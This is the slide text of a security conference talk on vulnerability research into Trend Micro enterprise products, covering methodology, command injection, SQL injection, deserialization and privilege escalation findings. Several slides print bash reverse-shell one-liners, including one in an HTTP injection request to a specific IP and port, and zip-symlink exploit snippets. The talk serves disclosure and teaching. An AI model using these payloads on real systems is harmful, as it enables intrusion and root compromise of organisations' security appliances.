I got 99 trends and a # is all of them

Roberto Suggi Liverani
Roberto Suggi LiveraniPentester/Reseacher
I got 99 trend’s and a
# is all of them!
How we found over 100 RCE vulnerabilities in
Trend Micro software
Agenda
▪ About us
▪ Motivation
▪ Targets
▪ Testing approach
▪ Pitfalls
▪ Overall results
▪ Conclusion
▪ References
▪ Smart Protection Server
▪ Data Loss Prevention Manager
▪ Control Manager
▪ InterScanWeb SecurityVirtual
Appliance
▪ Mobile Security For Enterprise
▪ SafeSync For Enterprise
2
About Us
Roberto Suggi Liverani (@malerisch)
▪ Independent Security Researcher
▪ Discovered critical vulnerabilities in vendors such as:
Microsoft, Google, Oracle, Mozilla, HPE
▪ Guest speaker at HiTB, EUSecWest, Ruxcon, Kiwicon,
DEFCON and HackPra AllStars
▪ http://blog.malerisch.net
3
About Us
Steven Seeley (@mr_me)
▪ AWAE Content Developer at Offensive Security
▪ Independent Security Researcher at Source Incite
– Focusing on high end desktop, enterprise and
SCADA vulnerability discovery and exploitation
▪ Studies the CRCAWing Chun Martial Arts system
▪ Certified Scuba Diver and PersonalTrainer
▪ http://srcincite.io/
4
What This Presentation is NOT about!
▪ Dropping the zero-day we found !
▪ A debate on vulnerability disclosure
▪ Putting downTrend Micro. Many other vendors have just as many, if
not more vulnerabilities in their code
It’s about:
▪ Sharing our failures, successes, approach to testing
▪ Helping other developers and security researchers
5
Motivation
6
Motivation
▪ Trend Micro wants to secure their software
▪ They have a bug bounty
▪ They have a ton of recently acquired / developed security solutions
▪ Knowledge is readily available
▪ Many focusing on desktop Antivirus, not enterprise security solutions
▪ Huge attack surface running privileged code
▪ Finally, we couldn't resist…
7
Motivation
“If the security industry is
going to promote defense,
then they, themselves,
should not be defenseless.”
8
Targets
▪ Smart Protection Server
▪ Data Loss Prevention Manager
▪ Control Manager
▪ InterScanWeb SecurityVirtual Appliance
▪ Threat Discovery Appliance
▪ Mobile Security for Enterprise (still zero-day)
▪ Safe Sync for Enterprise
9
Testing approach
“How can we fully
compromise this product
without user interaction?”
10
Testing approach and methodology
▪ Low hanging fruit and most critical vulnerability classes
– OS command injections and/or vulnerabilities that result in code execution
– Weaknesses in frameworks
– Authentication bypass
▪ Focus during vulnerability discovery phase:
– Reverse engineering of binaries and libraries
– Source code/scripts extraction and analysis
– Discern third-party components fromTrend Micro code
11
Testing approach
▪ Malware analysis approach
– Study the binary, its behavior, components, communication
– Understand who starts communication first (agent or server?)
– Studying of the packets exchanged and the protocol format
– Mapping of each action to network traffic observed
via API hooking
12
Testing Approach
▪ Looking for front-end patterns
POST /singlepointAPI.dll HTTP/1.1
Host: [target]
Content-Type: application/json
Connection: close
{"method_name":"get_object","params":
{"name":"test","objectId":"3"}}
13
Testing Approach
▪ Automate patterns
– Search JavaScript for strings to build the (XHR) requests
– Write a custom web scanner that will perform the following actions:
1. Find all operations and their associated parameters in the JavaScript code
2. Build base requests
3. Execute base requests and look for a specific status code and/or string
4. If interesting request, feed Burp web proxy and manually check presence of
vulnerability/behavior
5. If vulnerability found, re-use parameters and values across other identified attack
patterns
14
Testing Approach
▪ Go behind the scenes
– Using this approach, we found 80+ exploitable
Remote Code Execution vulnerabilities in a single target
– Approach used against differentTrend Micro targets
– However, not ALL operations can be found from the web
– Search the binaries for operations that are not triggered via the web application
15
Testing Approach
▪ We found functions that were unlikely to have been tested for
security vulnerabilities
▪ strings *.exe | grep -v
'@|;|#|&|%|$|=|?|(|)|!|"|:|-
|>|.|[0-9]|[A-Z]|^_|s|' | grep _ |
sort –u
▪ strings *.dll | grep -v
'@|;|#|&|%|$|=|?|(|)|!|"|:|-
|>|.|[0-9]|[A-Z]|^_|s|' | grep _ |
sort –u
16
Testing Approach
17
Success!
18
Pitfalls & difficulties
▪ Management
– Managing many reports/exploits/vulnerabilities was very tricky
▪ This was reduced since we could send these report’s off to ZDI to help us
– Found many duplicates between us
▪ Had to come out with a better system to share bugs!
▪ Software access
– Getting up-to-date versions was very hard
– Limited downloads
– Trial license with 30 days duration for some products only
▪ Some functionality disabled due to lack of full license (e.g. Active Directory integration)
19
Pitfalls & difficulties
▪ Mistakes and laziness
– Rushing into a vulnerability class without understanding the context of the
target
– Not enabling all functionality
▪ Some bugs could only be triggered changing default state
– Ignoring third party components or external software
– Not setting up an enterprise network (e.g. AD, Exchange server, etc.)
▪ Authentication Bypass
– A good number of discovered vulnerabilities still require authentication to
trigger L
20
Targets
21
Smart Protection Server
22
What is it?
▪ Acts as a central data repository for internal network
– URL and mail reputation data
– Complimentary with Office Scan
– Consumed byTrend Micro Office Scan clients running on workstations
▪ Smaller bandwidth consumption when updating patterns /
querying URL validity
▪ Apache + PHP 5 onWindows
▪ How many vulnerabilities in this product?
– 3x OS Command Injection vulnerabilities (1x introduced with a patch!)
– 4x Privilege Escalation vulnerabilities
▪ Java codebase was actually quite strong
… but… PHP had multiple vulnerabilities
23
Approach
▪ We had no license… but we had access to patches !
▪ Install patches via the web interface GUI
So we performed a ghetto update install:
– Pop a shell using an old vulnerability
– Patch the install.sh to remove version detection and license checks
– Run install.sh on the command line
24
wcs_bwlists_handler Cmd Injection
An exploitation walk through using a zero-day…
25
Elevation of Privileges
▪ Simple elevation of privilege vulnerabilities
– ntpdate.sh rc.local Elevation of Privileges
– ProgramUpdateNotify.sh rc.local Elevation of Privileges
– CDTPurge.sh crontab Elevation of Privileges
– Tlogger crontab Elevation of Privileges
▪ The /etc/rc.local script executes two webserv owned
& writable scripts
▪ The crontab executes two webserv owned and writable scripts, once
a day and once an hour…
26
Elevation of Privileges
In /etc/rc.local we see execution of two different files…
27
Elevation of Privileges
# echo "bash -i >& /dev/tcp/<ip>/<port> 0>&1" > /usr/tmcss/bin/tlogger
# echo "bash -i >& /dev/tcp/<ip>/<port> 0>&1" > /usr/tmcss/bin/CDTPurge.sh
In the crontab we see the same thing…
28
Combining the vulnerabilities
... and we are root:
29
Summary
▪ Initial injection requires authentication!! L
▪ The target is also riddled with CSRF and XSS issues
– These issues have not yet been reported...
▪ Attackers cannot gain a root shell without client interaction
– That’s not our style!
▪ No need to use an old kernel bug that could crash the kernel…
▪ Remember, this Command Injection vulnerability was introduced in
a security patch!
30
Results
▪ Hard to conclude, this is an on-going target
▪ We will address the authentication mechanism in the future!
▪ Still, we achieved remote code execution and elevated privileges!
▪ Patch available: https://success.trendmicro.com/solution/1117033
31
Data Loss Prevention
End of Life (EOL)
32
What is it?
▪ Product to prevent IP theft and data loss within an organization
▪ Based on agent and network monitoring
– Network inspection for different protocols
– Agent supports multiple file formats
– Policies based
▪ Previous security research was done by Kelly Lum and Zach Lanier
– Stay Out of the Kitchen
– The Kitchen's Finally Burned Down
▪ They identified some of the attack surface that we audited and found
vulnerabilities in!
– KeyView
– DLP client agent
33
Under the hood
▪ Server
– ApacheTomcat with compiled CGI and a MySQL database
– Web Server + Administrative web interface on port 8443
– Web Server (Tomcat) on port 8080
▪ Used by DLP Crawler
▪ Dscctrl daemon SSL/TCP/8904 andTCP/8804
▪ Used for agent communication (encrypted)
▪ Client
– Custom protocol format for the DLP client agent
– Client-side uses KeyView, a third party component.
– KeyView parses approximately 200 file formats
– KeyView runs as SYSTEM
34
How many vulnerabilities in this
product?
▪ Statistics (DLP + KeyView):
– 42x vulnerabilities that lead to Remote Code Execution
▪ 26x triggerable without authentication and privileged
– 1x Authentication bypass
– 1x DoS (Denial of Service)
▪ Let’s discuss approach and the most interesting vulnerabilities
– dlpCrawlerServerInvoker Deserialization of Untrusted Data
– Unauthenticated Stored Cross Site Scripting
– KeyView RTF fonttblTag Parsing Stack Buffer Overflow
35
Attack Surface
▪ Extraction of web
related files
– /home/dgate/prod/manager/webapps/
dsc/WEB-INF/classes/
– /home/dgate/prod/manager/webapps/
dsc/WEB-INF/lib/
▪ Decompile all classes and libraries
– JAD / JD-Gui to decompile all classes
▪ Manually reviewing
the source code
– Use of an IDE to map the code
36
Attack Surface
▪ Mapping attack surface
▪ Identify different type of client software
– Noticed the Crawler agent software available
for download
▪ Agent software is a separate package
– Mapping use of third parties
– Noticed use of keyview (more on this later)
▪ Mapping all external ports to processes
37
dlpCrawlerServerInvoker
Deserialization of Untrusted Data
▪ Analysis
– The bug lies in the way the DLP Crawler agent works and communicates to the
DLP server
▪ The DLP Crawler agents uses a specific port to pass data to the DLP
server
– Port 8080
– The protocol used is HTTP with Java serialized objects
38
dlpCrawlerServerInvoker
Deserialization of Untrusted Data
Example of communication between the DLP Crawler agent and DLP Server
39
dlpCrawlerServerInvoker
Deserialization of Untrusted Data
▪ By looking at the HTTP POST request we notice important elements:
– Lack of authentication mechanism
– No challenge/nonce token required by the server
– The communication is in clear-text
▪ Presence of Java-to-Java remoting
– Java serialized objects are passed within the HTTP POST request
40
dlpCrawlerServerInvoker
Deserialization of Untrusted Data
The dsc/invoker/dlpCrawlerServerInvoker is handled by the following code in
com/dgatetech/common/crawler/sigagent/RemoteCrawlerAgent.java
41
dlpCrawlerServerInvoker
Deserialization of Untrusted Data
42
Unauthenticated Stored Cross Site
Scripting
▪ Analysis
– Encrypted communication defeated using API Monitor against bcrypt.dll and
ncrypt.dll libraries
– Lack of authentication between agent and server
– Lack of input validation and output escaping on the DLP portal
▪ Attacker simulates a registering agent with an arbitrary XSS payload in its
"computername" field
– XSS payload is stored and rendered in two areas of the DLP administrative
interface:
▪ /dsc/pages/administration/endpointmanagement/endpointsPortal.do
▪ /dsc/pages/dataProtection/accessControl/preListAccessControl.do
43
Unauthenticated Stored Cross Site
Scripting
Unauthenticated Stored Cross Site
Scripting
45
Unauthenticated Stored Cross Site
Scripting
In EndpointMgmtListAction.java, here, the epjsonArray.put() function:
The getLinkedUrl() function builds the HTML code which will be
embedded in JSON format:
46
Unauthenticated Stored Cross Site
Scripting
▪ How was it discovered?
– After analyzing and decrypting traffic between agent and server
▪ By examining data following these principles:
– Can data be controlled?
– Is data changed by the application before rendering?
– Are there filters, size limits or any preventing condition?
– Is data rendered in an HTML context?
– Is data directly or indirectly rendered?
47
KeyView
▪ KeyView is a third party component
▪ Used by many DLP solutions
▪ Developed by Autonomy – now owned by HPE
▪ Its main role is to parse, index and convert files
– Large support of file formats (more than 200)
▪ DLP Remote Crawler Agent also uses KeyView component
– C:Program FilesTrend MicroDLP Remote Crawler Agentdllkvfilter.dll
48
KeyView
▪ Finding a way to easily interact with KeyView:
– How do we know that filter.exe uses KeyView?
▪ Reverse engineered and spotted a dynamic DLL load of kvfilter.dll
▪ Analysis of kvfilter.dll
49
KeyView
▪ So the fuzzing approach can be as the following:
– Command line: ”filter.exe <fuzzedfile> C:tempjunk.txt”
▪ The junk.txt file will be created by the application
▪ Obtain a valid corpus of sample files
– Ideally these are traced and reduced
– It doesn't matter if we only obtain a few samples, the target code is old
▪ do fuzz() while 1;
– Hundreds of vulnerabilities discovered
▪ Focused only few highly exploitable conditions
– Some of which affect the latest version and are still zero-day
50
RTF fonttbl Tag Parsing Stack Buffer
Overflow
▪ Analysis
– RTF parsing library (rtfsr.dll) vulnerable to stack buffer overflow
▪ Caused due to incorrect placement of the { tag to close off one of the
fonts within the font table
▪ Fault is in:
– rtfsr!rtfFillBuffer+0x8734 (loc_7CBC83)
– The function calls a strcpy() – this results in
an overflow of the stack frames
51
RTF fonttbl Tag Parsing Stack Buffer
Overflow
Corrupted Stack frames suck when trying to perform a RCA
52
RTF fonttbl Tag Parsing Stack Buffer
Overflow
▪ A crafted, embedded font allows instruction control
▪ Ideal situation for exploitation
▪ An attacker can modify a return address and take
control of the software code execution flow
▪ 1990 called…
53
RTF fonttbl Tag Parsing Stack Buffer
Overflow
▪ Exploitation is made easier because the kvfilter.dll was not compiled
with ASLR or SafeSEH support or Stack Cookies!
▪ These gadgets can be used to exit from the function and then hit the
controlled code
▪ Compromise the client and then target the server!
▪ The vector can be a drive by download, such as Chrome
54
KeyView - RTF fonttbl Tag Parsing
Stack Buffer Overflow
▪ We created a simple PoC that
pops a calc
▪ DLP policy is often set to scan
files/folders, such as the
downloads folder upon
filesystem modification
55
Control Manager
56
What is it?
▪ This is the heart of allTrend Micro products
– Central management console that managesTrend Micro products
▪ Gateway, Mail server, File server, corporate desktop levels, etc.
▪ IIS, PHP, ASP and Compiled CGI
▪ Remote code execution means low privileged access due to IIS default
settings
▪ How many vulnerabilities in this product?
– 41x code execution brought via SQLi
▪ 14x of which do not require authentication
– 8x Information disclosures
▪ Leveraged information disclosure for authentication bypass
57
Motivation
Other vulnerabilities had been discovered previously
Where there are a few, there are probably many
Will present on few SQL injection and an information disclosure one!
58
ProgressReportCGI SQL Injection
▪ Unauthenticated, blind SQL Injection
▪ Allows an attacker to steal password hashes
▪ No need to crack the hashes, there is a pass the hash vulnerability as
well
▪ Weak database service permissions, only running as
NETWORKSERVICE
▪ Single authentication bypass for the ASP Interface
▪ Disclosed as ZDI-17-074
59
ProgressReportCGI SQL Injection
…now that we have a valid session
60
AdHocQuery_Processor SQL Injection
61
AdHocQuery_Processor SQL Injection
▪ Combining two different vulnerabilities allows for unauthenticated
remote code execution
▪ Low privileged code execution, however the local attack surface was
not analyzed at the time
▪ Information disclosure and code execution vulnerabilities also existed
in the PHP interface, which could have been combined also
▪ It just takes a single authentication bypass and you have several post
authenticated SQL->RCE vulnerabilities to reach
▪ This bug was silently patched byTrend Micro
62
modDLPTemplateMatch_drildown File
Inclusion
▪ Very silly bug, simple Local File Inclusion
▪ Three Instances of this vulnerability because the code location was
copied three times over in production…
▪ Needed a special primitive for modern local file inclusion
63
modDLPTemplateMatch_drildown File
Inclusion
No authentication needed ! (But low privileged code execution, boo!)
64
Results
65
InterScan Web Security
66
What is it?
▪ Secure web gateway
– Inspect web traffic against known patterns, anti-malware database, URL reputation and other
Trend Micro products
▪ ApacheTomcat and Struts 2 framework
– Code implemented in IWSSGui.jar
▪ How many vulnerabilities in this product?
– 41x Remote Code Execution vulnerabilities
▪ 4x do not require authentication
– 1x Authentication bypass and 2x Information disclosure
▪ Previous patch for vulnerabilities found by ZDI failed:
ZDI-16-351, ZDI-16-350, ZDI-16-349 & ZDI-16-348
▪ The ability to bypass authentication
– … and no, its not in the session filter rgod J
67
Patch Bypass
private String escapeParam(String strParam)
{
String afterParam = strParam;
afterParam = afterParam.replace(""", """);
afterParam = afterParam.replace("$", "$");
afterParam = afterParam.replace("`", "`");
return afterParam;
}
68
Patch Bypass
`bash -i >&
/dev/tcp/<ip>/<port> 0>&1`
69
Other people’s findings
▪ Looks like we missed a few RCE vulnerabilities…
– https://www.korelogic.com/Resources/Advisories/KL-001-2017-003.txt
(ConfigBackup?action=import)
– https://www.korelogic.com/Resources/Advisories/KL-001-2017-001.txt
(ConfigBackup?action=upload_check)
▪ Next time, we’ll pay more attention
▪ Now, lets review a single, critical vulnerability that has been patched!
70
doPostMountDevice Unauthenticated
Command Injection Vulnerability
71
doPostMountDevice Unauthenticated
Command Injection Vulnerability
What is exeUihelperCmd anyway?
72
doPostMountDevice Unauthenticated
Command Injection Vulnerability
…and what is exeCmd anyway? Hang on a tick…
That‘s an interesting command ‘/etc/iscan/AdminUI/uihelper’
73
doPostMountDevice Unauthenticated
Command Injection Vulnerability
74
doPostMountDevice Unauthenticated
Command Injection Vulnerability
75
doPostMountDevice Unauthenticated
Command Injection Vulnerability
POST /rest/commonlog/log_setting/mount_device HTTP/1.1
Host: [host]:1812
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 77
{" mount_device":”`bash -i >&
/dev/tcp/172.16.175.1/1337 0>&1`","cmd":" mount"}
76
Patch
1. First, they check for a remote request, probably not the best way, since a
SSRF can defeat this
77
Patch
2. Then, a check to see if the mount_device is valid by calling
isValidMountDevice()
78
Patch
3. A string match that
can’t be defeated!
79
Patch
80
uihelper Elevation of Privilege
▪ The previous vulnerability pops a root shell…
▪ Using the function exeUiHelperCmd method in Java
▪ However, sometimes the injection was in a different sink, and it
achieved code execution as the ‘iscan’ user
▪ As it turns out, exeUiHelperCmd is just a wrapper around Java’s
exec() calling a SUID script that executes a command…
▪ We wanted root, so we used the ‘uihelper.sh’ to get root access
81
uihelper.sh Elevation of Privilege
82
Results
83
Demo
84
Threat Discovery Appliance
End of Life (EOL)
85
What is it?
▪ Network monitor solution to inspect traffic against signatures/threat
intelligence
– End of Life, no longer a #Trend
▪ Appliance using CentOS with an ancient kernel
▪ Authentication Bypass via an unauthenticated file delete!
▪ How many vulnerabilities?
– 9x OS Command Injection vulnerabilities in the CGI
▪ File upload with zip extraction!
– 2x Authentication bypasses
86
Directory Traversal Authentication
Bypass Vulnerability
▪ Analysis
– In theThreat Discovery Appliance, sessionid value is also used as a folder name
under /var/log/
▪ e.g. /var/log/e8d49ad18d202d671fffcd5e7f37ba8b
– Inside the sessionid folder, a SQLite database is used to check whether the user
is authenticated
▪ Static analysis was required to understand how it was working
– Session management is handled by:
/opt/TrendMicro/MinoritReport/lib/mini_httpd/utils.so
▪ In this library, the logoff mechanism caught our attention
87
Directory Traversal Authentication
Bypass Vulnerability
88
Directory Traversal Authentication
Bypass Vulnerability
▪ Inside delete_session() function:
– A reference to /var/log/session/%s/%s
– Then following a call to system() with arguments as
/bin/rm –rf %s
– By tracing the %s, we realized that comes from the
sessionid cookie parameter provided to the logoff request
89
Directory Traversal Authentication
Bypass Vulnerability
90
Directory Traversal Authentication
Bypass Vulnerability
▪ Constraints
– File needs to actually exist because there is a call to
xstat()
▪ No special characters allowed to inject commands
– Only way is to use the delete operation to achieve
something
▪ Delete and reach default state (where admin password
is known)
▪ ../../../../opt/TrendMicro/MinorityReport/etc/igsa.conf
91
Directory Traversal Authentication
Bypass Vulnerability
▪ Path to exploitation
1. Attacker triggers delete action of igsa.conf
2. Appliance becomes unusable, sysadmin will be
forced to restart the box
3. Appliance will automatically create a new igsa
file with a default admin password
4. Attacker waits until the box is restarted and use
default password
92
Directory Traversal Authentication
Bypass Vulnerability
How was it discovered?
▪ A technique was to inspect file system for changes in the
last minute, after a logoff, by running a command such as:
– find /* -path /proc -prune -o -cmin -1
– Inotify can also be used
▪ Also inspecting key folder (/var/log/sessionid/ ) to check
what happened after logoff
93
dlp_policy_upload.cgi zip extraction
–Allows attackers to upload zip files that are
extracted
–Extracts into a predictable folder directory
–Can’t use traversal attacks in the zip
–However, we can extract evil.sh
–How are we to exploit this ?
94
dlp_policy_upload.cgi zip extraction
95
dlp_policy_upload.cgi zip extraction
Stage 1 – Upload the 1st zip to create the symlink
zi = zipfile.ZipInfo()
zi.filename = u'si'
zi.external_attr |= 0120000 << 16L
zi.compress_type = zipfile.ZIP_STORED
z.writestr(zi,
"/opt/TrendMicro/MinorityReport/bin/")
96
dlp_policy_upload.cgi zip extraction
Stage 2 – Upload the 2nd zip to write into the
symlinked directory
zi = zipfile.ZipInfo("si/dlp_kill.sh")
zi.external_attr = 0777 << 16L
z.writestr(zi, _get_bd())
97
dlp_policy_upload.cgi zip extraction
1. Reset the admin’s password back to ‘admin123’
2. Login and upload 2 zip files
3. Extract the zip’s, overwriting a shell script
4. Trigger shell script from CGI
5. #Trend
98
dlp_policy_upload.cgi zip extraction
99
Demo
100
Bonus for #HITB2017AMS !
Proof of Concept exploit code for the following vulnerabilities
affecting Trend Micro Threat Discovery Appliance:
▪ [CVE-2016-8584]::Session Generation Authentication Bypass
▪ [CVE-2016-7552]::Directory Traversal Authentication Bypass
▪ [CVE-2016-8586]::dlp_policy_upload.cgi Information Disclosure
▪ [CVE-2016-8585]::admin_sys_time.cgi Command Injection RCE
▪ [CVE-2016-8585]::detected_potential_files.cgi Command Injection RCE
▪ [CVE-2016-8587]::dlp_policy_upload.cgi Zip Extraction RCE
101
But wait, there's more!
▪ [CVE-2016-8588]::hotfix_upload.cgi Command Injection RCE
▪ [CVE-2016-8589]::log_query_dae.cgi Command Injection RCE
▪ [CVE-2016-8590]::log_query_dlp.cgi Command Injection RCE
▪ [CVE-2016-8591]::log_query.cgi Command Injection RCE
▪ [CVE-2016-8592]::log_query_system.cgi Command Injection RCE
▪ [CVE-2016-8593]::upload.cgi File Upload RCE
Finally, a pull request for a Metasploit module that
uses CVE-2016-7552 and CVE-2016-7547 !
102
Mobile Security for
Enterprise
103
What is it?
▪ Central solution to secure mobile devices within an organization
– Supports Android, iOS,Windows Phones, Blackberry
– Policies based
▪ Under the hood
– Windows IIS / Compiled CGI / MSSQL / PHP J
▪ How many vulnerabilities?
– Found remote memory corruption pre-authenticated
– Sitting on 80 zero-day’s, at least 10 are pre-authenticated
– Authentication bypasses also exist in the target...
▪ But...
104
It’s a zero-day, sorry!
105
Demo
106
SafeSync for Enterprise
107
About
▪ Central enterprise solution to secure data within an organization
– Provides encryption and data tagging
– File versioning and backup
– ACL on who can access what
▪ Under the hood
– Linux CentOS Appliance
– Lots of Perl code, not our favourite language!
▪ How many vulnerabilities?
– 20 x Command Injection vulnerabilities discovered, using a similar pattern to the one
patched byTrend Micro themselves
– SQL Injection in the authentication, which was silently patched byTrend Micro!
▪ Allows an attacker to bypass the authentication
108
Motivation
Why did we pick this target?
▪ Because another researcher found a Code Injection in it and we have
never tested Perl. It could be fun we said…
109
Hunting for vulnerabilities
▪ Approach
– Look at the vulnerable code pattern, and try to find every instance…
110
Hunting for vulnerabilities
$reqdata is our input… easy to grep the code for “system(“ !
111
Hunting for vulnerabilities
▪ Also, since we were tracing $reqdata as input, we found multiple SQL
Injections while we were at it. However, most were parameterized
▪ The permissions on the database were strict, we couldn't leverage it
for anything more than information disclosure…
▪ As it turns out, information disclosure was just what we needed...
112
_get_user_hpassword SQL Injection
in Controller/api/auth.pm:
sub login_PUT {
my ( $self, $c ) = @_;
$c->model('DBI')->dbh()->{mysql_auto_reconnect} = 1;
my $username = $c->req->data->{username};
my $user = Storage::User->new($username, 'osdp');
my $hpassword_expect = _get_user_hpassword($username);
113
_get_user_hpassword SQL Injection
sub _get_user_hpassword {
my $dbh = Storage::DB->dbh( { db => 'osdp' } );
my $admin_name = shift;
my $sql = qq{
SELECT DISTINCT hpassword
FROM users
WHERE login_name = '$admin_name' };
my ($user_password) = $dbh->selectrow_array($sql);
114
_get_user_hpassword SQL Injection
115
Overall Results
0
10
20
30
40
50
60
70
80
Smart Protection
Server
Data Loss Prevention
Manager
Control Manager InterScan Web
Security
Threat Discovery Mobile Security for
Enterprise
SafeSync for
Enterprise
Total Affected Products
Remote Code Execution SQL Injection Information Disclosure Elevation of Privileges Denial of Service
116
Overall Results
▪ The research is still going on:
– Total products tested so far: 11
– Average number of vulnerabilities per product: ~24
– Remote Code Execution vulnerabilities so far: 236
▪ In all targets we tested, we found a way to gain remote code execution
▪ At least 2 failed patches:
– 1 patch introduced a vulnerability
– 1 patch failed to patch adequately
▪ In only 1 product was the database permissions correct, denying access to the
underlying operating system from an SQL Injection
▪ InterScan had the highest number of code injection vulnerabilities
▪ Code review and/or reverse engineering was required for all targets
117
Thanks!
▪ Trend Micro
▪ The Zero Day Initiative
▪ Hack inThe Box
▪ Offensive Security
▪ The motivators: @aloria, @quine, @Qkaiser, @korprit and
@rgod777 !
118
Come and train with us
119
Questions?
Steven Seeley (mr_me)
▪ @steventseeley
▪ http://srcincite.io/
▪ Roberto Suggi Liverani (malerisch)
▪ @malerisch
▪ http://blog.malerisch.net
120
References
▪ https://qkaiser.github.io/pentesting/trendmicro/2016/08/08/trendmic
ro-sps/
▪ https://qkaiser.github.io/pentesting/trendmicro/2016/09/06/trendmic
ro-safesync/
▪ https://twitter.com/cogitoergor00t/status/771768758289494016
▪ https://twitter.com/korprit/status/758356923779461120
▪ https://www.youtube.com/watch?v=KWfIgq3iZ8A
▪ https://www.youtube.com/watch?v=9-906rJ2HXA
121
Demos
▪ https://asciinema.org/a/112568
▪ https://asciinema.org/a/112563
▪ https://asciinema.org/a/112567
122
1 of 122

Recommended

Advanced Client Side Exploitation Using BeEF by
Advanced Client Side Exploitation Using BeEFAdvanced Client Side Exploitation Using BeEF
Advanced Client Side Exploitation Using BeEF1N3
11.3K views39 slides
Window Shopping Browser - Bug Hunting in 2012 by
Window Shopping Browser - Bug Hunting in 2012Window Shopping Browser - Bug Hunting in 2012
Window Shopping Browser - Bug Hunting in 2012Roberto Suggi Liverani
3.1K views56 slides
Cross Context Scripting attacks & exploitation by
Cross Context Scripting attacks & exploitationCross Context Scripting attacks & exploitation
Cross Context Scripting attacks & exploitationRoberto Suggi Liverani
3.5K views69 slides
Augmented reality in your web proxy by
Augmented reality in your web proxyAugmented reality in your web proxy
Augmented reality in your web proxyRoberto Suggi Liverani
3.3K views39 slides
Defending Against Application DoS attacks by
Defending Against Application DoS attacksDefending Against Application DoS attacks
Defending Against Application DoS attacksRoberto Suggi Liverani
5.1K views51 slides
Windows Operating System Archaeology by
Windows Operating System ArchaeologyWindows Operating System Archaeology
Windows Operating System Archaeologyenigma0x3
13.8K views47 slides

More Related Content

What's hot

Bridging the Gap: Lessons in Adversarial Tradecraft by
Bridging the Gap: Lessons in Adversarial TradecraftBridging the Gap: Lessons in Adversarial Tradecraft
Bridging the Gap: Lessons in Adversarial Tradecraftenigma0x3
1.7K views46 slides
Not a Security Boundary: Bypassing User Account Control by
Not a Security Boundary: Bypassing User Account ControlNot a Security Boundary: Bypassing User Account Control
Not a Security Boundary: Bypassing User Account Controlenigma0x3
6.7K views56 slides
Hunting for security bugs in AEM webapps by
Hunting for security bugs in AEM webappsHunting for security bugs in AEM webapps
Hunting for security bugs in AEM webappsMikhail Egorov
14.1K views110 slides
BSides London 2017 - Hunt Or Be Hunted by
BSides London 2017 - Hunt Or Be HuntedBSides London 2017 - Hunt Or Be Hunted
BSides London 2017 - Hunt Or Be HuntedAlex Davies
1.6K views30 slides
[Wroclaw #2] Web Application Security Headers by
[Wroclaw #2] Web Application Security Headers[Wroclaw #2] Web Application Security Headers
[Wroclaw #2] Web Application Security HeadersOWASP
1K views35 slides
Neat tricks to bypass CSRF-protection by
Neat tricks to bypass CSRF-protectionNeat tricks to bypass CSRF-protection
Neat tricks to bypass CSRF-protectionMikhail Egorov
17.6K views38 slides

What's hot(20)

Bridging the Gap: Lessons in Adversarial Tradecraft by enigma0x3
Bridging the Gap: Lessons in Adversarial TradecraftBridging the Gap: Lessons in Adversarial Tradecraft
Bridging the Gap: Lessons in Adversarial Tradecraft
enigma0x31.7K views
Not a Security Boundary: Bypassing User Account Control by enigma0x3
Not a Security Boundary: Bypassing User Account ControlNot a Security Boundary: Bypassing User Account Control
Not a Security Boundary: Bypassing User Account Control
enigma0x36.7K views
Hunting for security bugs in AEM webapps by Mikhail Egorov
Hunting for security bugs in AEM webappsHunting for security bugs in AEM webapps
Hunting for security bugs in AEM webapps
Mikhail Egorov14.1K views
BSides London 2017 - Hunt Or Be Hunted by Alex Davies
BSides London 2017 - Hunt Or Be HuntedBSides London 2017 - Hunt Or Be Hunted
BSides London 2017 - Hunt Or Be Hunted
Alex Davies1.6K views
[Wroclaw #2] Web Application Security Headers by OWASP
[Wroclaw #2] Web Application Security Headers[Wroclaw #2] Web Application Security Headers
[Wroclaw #2] Web Application Security Headers
OWASP1K views
Neat tricks to bypass CSRF-protection by Mikhail Egorov
Neat tricks to bypass CSRF-protectionNeat tricks to bypass CSRF-protection
Neat tricks to bypass CSRF-protection
Mikhail Egorov17.6K views
[OWASP Poland Day] Application frameworks' vulnerabilities by OWASP
[OWASP Poland Day] Application frameworks' vulnerabilities[OWASP Poland Day] Application frameworks' vulnerabilities
[OWASP Poland Day] Application frameworks' vulnerabilities
OWASP593 views
[OWASP Poland Day] Application security - daily questions & answers by OWASP
[OWASP Poland Day] Application security - daily questions & answers[OWASP Poland Day] Application security - daily questions & answers
[OWASP Poland Day] Application security - daily questions & answers
OWASP379 views
Hack Into Drupal Sites (or, How to Secure Your Drupal Site) by nyccamp
Hack Into Drupal Sites (or, How to Secure Your Drupal Site)Hack Into Drupal Sites (or, How to Secure Your Drupal Site)
Hack Into Drupal Sites (or, How to Secure Your Drupal Site)
nyccamp39.1K views
Web security for developers by Sunny Neo
Web security for developersWeb security for developers
Web security for developers
Sunny Neo229 views
I'm in ur browser, pwning your stuff - Attacking (with) Google Chrome Extensions by Krzysztof Kotowicz
I'm in ur browser, pwning your stuff - Attacking (with) Google Chrome ExtensionsI'm in ur browser, pwning your stuff - Attacking (with) Google Chrome Extensions
I'm in ur browser, pwning your stuff - Attacking (with) Google Chrome Extensions
Krzysztof Kotowicz9.7K views
COM Hijacking Techniques - Derbycon 2019 by David Tulis
COM Hijacking Techniques - Derbycon 2019COM Hijacking Techniques - Derbycon 2019
COM Hijacking Techniques - Derbycon 2019
David Tulis5.7K views
[Wroclaw #6] Introduction to desktop browser add-ons by OWASP
[Wroclaw #6] Introduction to desktop browser add-ons[Wroclaw #6] Introduction to desktop browser add-ons
[Wroclaw #6] Introduction to desktop browser add-ons
OWASP197 views
Hacking Adobe Experience Manager sites by Mikhail Egorov
Hacking Adobe Experience Manager sitesHacking Adobe Experience Manager sites
Hacking Adobe Experience Manager sites
Mikhail Egorov13.2K views
Big Bang Theory: The Evolution of Pentesting High Security Enviroments IT Def... by Chris Gates
Big Bang Theory: The Evolution of Pentesting High Security Enviroments IT Def...Big Bang Theory: The Evolution of Pentesting High Security Enviroments IT Def...
Big Bang Theory: The Evolution of Pentesting High Security Enviroments IT Def...
Chris Gates2.8K views
Lares from LOW to PWNED by Chris Gates
Lares from LOW to PWNEDLares from LOW to PWNED
Lares from LOW to PWNED
Chris Gates6.4K views
[OWASP Poland Day] Web App Security Architectures by OWASP
[OWASP Poland Day] Web App Security Architectures[OWASP Poland Day] Web App Security Architectures
[OWASP Poland Day] Web App Security Architectures
OWASP446 views
Continuous intrusion: Why CI tools are an attacker’s best friends by Nikhil Mittal
Continuous intrusion: Why CI tools are an attacker’s best friendsContinuous intrusion: Why CI tools are an attacker’s best friends
